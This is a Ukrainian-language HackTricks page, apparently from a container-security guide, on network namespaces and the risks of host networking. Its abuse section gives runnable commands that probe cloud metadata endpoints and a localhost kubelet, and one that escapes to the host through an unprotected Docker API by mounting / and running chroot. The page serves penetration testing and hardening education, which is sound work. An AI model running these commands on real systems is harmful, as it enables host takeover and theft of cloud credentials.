Мережевий простір імен

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд

Мережевий простір імен ізолює мережеві ресурси, такі як інтерфейси, IP-адреси, таблиці маршрутизації, ARP/neighbor state, правила firewall, сокети та вміст файлів на кшталт /proc/net. Саме тому контейнер може мати, наприклад, свій власний eth0, свої локальні маршрути та власний loopback-пристрій, не володіючи реальним мережевим стеком хоста.

З точки зору безпеки це важливо, бо мережева ізоляція — це не лише прив’язка портів. Приватний мережевий простір імен обмежує те, що workload може безпосередньо спостерігати або переналаштовувати. Якщо цей простір імен буде розділено з хостом, контейнер раптово може отримати видимість хостових listeners, host-local сервісів та мережевих контрольних точок, які ніколи не мали бути доступні додатку.

Робота

Свіжозстворений мережевий простір імен починає з порожнього або майже порожнього мережевого середовища, доки до нього не підключать інтерфейси. Рантайми контейнерів створюють або підключають віртуальні інтерфейси, призначають адреси та налаштовують маршрути, щоб workload мав очікуване підключення. У bridge-based розгортаннях це зазвичай означає, що контейнер бачить інтерфейс на базі veth, підключений до host bridge. В Kubernetes, CNI плагіни виконують еквівалентне налаштування для Pod networking.

Ця архітектура пояснює, чому --network=host або hostNetwork: true — така кардинальна зміна. Замість отримання підготовленого приватного мережевого стеку, workload приєднується до реального стеку хоста.

Лаб

You can see a nearly empty network namespace with:

sudo unshare --net --fork bash
ip addr
ip route

І ви можете порівняти звичайні та host-networked containers за допомогою:

docker run --rm debian:stable-slim sh -c 'ip addr || ifconfig'
docker run --rm --network=host debian:stable-slim sh -c 'ss -lntp | head'

Контейнер, що використовує мережу хоста, більше не має власного ізольованого вигляду сокетів та інтерфейсів. Ця зміна вже є суттєвою ще до того, як ви спитаєте, які можливості має процес.

Використання під час виконання

Docker та Podman зазвичай створюють приватний простір імен мережі для кожного контейнера, якщо не налаштовано інакше. Kubernetes зазвичай надає кожному Pod власний простір імен мережі, спільний для контейнерів всередині Pod, але відокремлений від хоста. Incus/LXC також забезпечують широку ізоляцію на основі простору імен мережі, часто з різноманітнішими віртуальними мережевими налаштуваннями.

Загальний принцип такий: приватна мережа є типовою межею ізоляції, тоді як мережа хоста — це явний вихід за межі цієї ізоляції.

Неправильні налаштування

Найважливішою помилкою конфігурації є просте спільне використання простору імен мережі хоста. Це іноді роблять задля продуктивності, низькорівневого моніторингу або зручності, але це знищує одну з найчистіших меж, доступних контейнерам. Слухачі, локальні для хоста, стають доступнішими, служби, доступні лише з localhost, можуть стати доступними, а можливості на кшталт CAP_NET_ADMIN або CAP_NET_RAW стають набагато небезпечнішими, тому що операції, які вони дозволяють, тепер застосовуються до мережевого оточення самого хоста.

Ще одна проблема — надмірне надання мережевих можливостей навіть коли простір імен мережі приватний. Приватний простір імен допомагає, але він не робить raw-сокети або розширене керування мережею нешкідливими.

Зловживання

У слабо ізольованих налаштуваннях зловмисники можуть інспектувати сервіси, що прослуховують на хості, дістатися до керувальних кінцевих точок, прив’язаних лише до loopback, прослуховувати або втручатися в трафік залежно від наданих можливостей і оточення, або переналаштувати маршрутизацію та стан брандмауера, якщо присутній CAP_NET_ADMIN. У кластері це також може полегшити латеральний рух і розвідку контрольної площини.

Якщо ви підозрюєте використання мережі хоста, почніть з підтвердження, що видимі інтерфейси та служби, що прослуховують, належать хосту, а не ізольованій мережі контейнера:

ip addr
ip route
ss -lntup | head -n 50

Loopback-only services часто є першим цікавим відкриттям:

ss -lntp | grep '127.0.0.1'
curl -s http://127.0.0.1:2375/version 2>/dev/null
curl -sk https://127.0.0.1:2376/version 2>/dev/null

Якщо присутні network capabilities, перевірте, чи може workload інспектувати або змінювати видимий stack:

capsh --print | grep -E 'cap_net_admin|cap_net_raw'
iptables -S 2>/dev/null || nft list ruleset 2>/dev/null
ip link show

У кластерних або хмарних середовищах мережа хоста також виправдовує швидкий локальний recon метаданих та служб, суміжних із control-plane:

for u in \
http://169.254.169.254/latest/meta-data/ \
http://100.100.100.200/latest/meta-data/ \
http://127.0.0.1:10250/pods; do
curl -m 2 -s "$u" 2>/dev/null | head
done

Повний приклад: Host Networking + Local Runtime / Kubelet Access

Host networking не надає автоматично host root, але часто відкриває сервіси, які навмисно доступні лише з самого вузла. Якщо один із таких сервісів слабко захищений, Host networking стає прямим шляхом privilege-escalation.

Docker API на localhost:

curl -s http://127.0.0.1:2375/version 2>/dev/null
docker -H tcp://127.0.0.1:2375 run --rm -it -v /:/mnt ubuntu chroot /mnt bash 2>/dev/null

Kubelet на localhost:

curl -k https://127.0.0.1:10250/pods 2>/dev/null | head
curl -k https://127.0.0.1:10250/runningpods/ 2>/dev/null | head

Вплив:

  • пряме порушення безпеки хоста, якщо локальний runtime API відкритий без належного захисту
  • cluster reconnaissance або lateral movement, якщо kubelet або локальні агенти досяжні
  • traffic manipulation або denial of service у поєднанні з CAP_NET_ADMIN

Перевірки

Мета цих перевірок — з’ясувати, чи має процес приватний мережевий стек, які маршрути та слухачі видимі, і чи мережевий вигляд уже схожий на хостовий ще до того, як ви навіть почнете тестувати capabilities.

readlink /proc/self/ns/net   # Network namespace identifier
ip addr                      # Visible interfaces and addresses
ip route                     # Routing table
ss -lntup                    # Listening TCP/UDP sockets with process info
  • Якщо ідентифікатор namespace або видимий набір інтерфейсів схожі на host, host networking може вже використовуватися.
  • ss -lntup особливо цінний, оскільки він виявляє loopback-only listeners і local management endpoints.
  • Маршрути, імена інтерфейсів і firewall context стають набагато важливішими, якщо присутні CAP_NET_ADMIN або CAP_NET_RAW.

При перегляді контейнера завжди оцінюйте network namespace разом із capability set. Host networking плюс сильні network capabilities — це зовсім інша позиція, ніж bridge networking плюс вузький дефолтний capability set.

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks